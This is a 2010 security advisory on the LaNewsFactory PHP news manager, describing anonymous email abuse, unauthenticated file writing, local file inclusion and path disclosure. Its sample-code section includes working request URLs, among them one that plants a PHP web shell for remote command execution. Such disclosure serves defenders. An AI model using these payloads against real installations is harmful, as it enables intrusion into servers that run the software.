LaNewsFactory Multiple Remote Vulnerabilities http://www.salvatorefresta.net/files/adv/LaNewsFactory%20Multiple%20Remote%20Vulnerabilities-19042010.txt Name LaNewsFactory Vendor Christophe Brocas Versions Affected <= 1.0.0 Author Salvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta [at] gmail [dot] com Date 2010-04-19 X. INDEX I. ABOUT THE APPLICATION II. DESCRIPTION III. ANALYSIS IV. SAMPLE CODE V. FIX VI. DISCLOSURE TIMELINE I. ABOUT THE APPLICATION This is a very used news manager that not require a database. II. DESCRIPTION This news managment is affected by many vulnerabilities that allows a guest to write arbitrary files on the system, include local files, read local files etc.. III. ANALYSIS Summary: A) Anonymous email B) Remote File Writing C) Multiple Local File Inclusion D) Full Path Disclosure A) Anonymous email The mailto.php file allows a guest to send arbitrary emails. The input is not properly sanitised: if (ValidEmailAdress($youremail) and ValidEmailAdress($friendemail)) { mail ($friendemail, $display[$lang]["mailtoafriend"],"$comments\n\n".$url."print".$LNF_file_extension."?art=$newsfilename\n\n$yourname", "From: $youremail"); B) Remote File Writing The save-edited-news.php file allows a guest to write a file on the system. This vulnerability may be used to execute remote commands on the system. C) Multiple Local File Inclusion There are many files that use a not sanitised input with include PHP function. This vulnerability may be used to execute remote commands by including the Apache Log file. D) Full Path Disclosure For example, print.php file prints many errors by including the full path of the file. This path may be very useful for local file inclusion and other. IV. SAMPLE CODE A) Anonymous email mailto.php?friendemail=target@email.com&youremail=ano@email.com&comments=suck! B) Remote File Writing to Remote Command Execution save-edited-news.php?art=news/file.php&corps=<?php system($_GET[cmd]); ?> D) Full Path Disclosure print.php?art=-1.xml V. FIX No fix. VIII. DISCLOSURE TIMELINE 2010-04-19 Bugs discovered 2010-04-19 Advisory released